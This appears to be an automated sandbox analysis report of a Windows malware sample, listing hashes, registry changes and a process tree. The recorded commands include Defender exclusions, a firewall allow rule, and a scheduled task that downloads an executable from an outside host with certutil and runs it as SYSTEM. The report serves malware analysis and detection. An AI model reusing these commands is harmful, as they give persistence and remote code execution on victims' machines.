Analysis
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max time kernel
104s -
max time network
112s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:46
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Resource
win10v20201028
General
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Target
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
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Size
3.9MB
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MD5
09f52ff0d655353f5479d0157af2b8ba
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SHA1
c21c3ae75444f546a178c926a68108a773e62eb1
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SHA256
788eb685943b452608a07a44d75be4c5806f1374461596a6ad7cce5569fcf77e
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SHA512
ca12d33221180fd3b33fb3ef82f93eea0206f71279306870402a8c8595a4d70c28ff006365638a4f3cfb1299caf452f3ec92d93533b15c31c647cb87afcc17c0
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 680 csrss.exe 1388 patch.exe -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exepatch.exepid process 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe 884 1388 patch.exe 1388 patch.exe 1388 patch.exe 1388 patch.exe 1388 patch.exe -
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SummerGrass = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\a11adf549854\a11adf549854 = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a11adf549854.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run\SummerGrass = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1772 schtasks.exe 1716 schtasks.exe -
Modifies data under HKEY_USERS 196 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exepid process 1688 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.execsrss.exedescription pid process Token: SeDebugPrivilege 1688 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Token: SeImpersonatePrivilege 1688 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe Token: SeSystemEnvironmentPrivilege 680 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.execmd.exedescription pid process target process PID 900 wrote to memory of 1816 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe cmd.exe PID 900 wrote to memory of 1816 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe cmd.exe PID 900 wrote to memory of 1816 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe cmd.exe PID 900 wrote to memory of 1816 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe cmd.exe PID 1816 wrote to memory of 1336 1816 cmd.exe netsh.exe PID 1816 wrote to memory of 1336 1816 cmd.exe netsh.exe PID 1816 wrote to memory of 1336 1816 cmd.exe netsh.exe PID 900 wrote to memory of 680 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe csrss.exe PID 900 wrote to memory of 680 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe csrss.exe PID 900 wrote to memory of 680 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe csrss.exe PID 900 wrote to memory of 680 900 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
09f52ff0d655353f5479d0157af2b8ba
SHA1c21c3ae75444f546a178c926a68108a773e62eb1
SHA256788eb685943b452608a07a44d75be4c5806f1374461596a6ad7cce5569fcf77e
SHA512ca12d33221180fd3b33fb3ef82f93eea0206f71279306870402a8c8595a4d70c28ff006365638a4f3cfb1299caf452f3ec92d93533b15c31c647cb87afcc17c0
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
09f52ff0d655353f5479d0157af2b8ba
SHA1c21c3ae75444f546a178c926a68108a773e62eb1
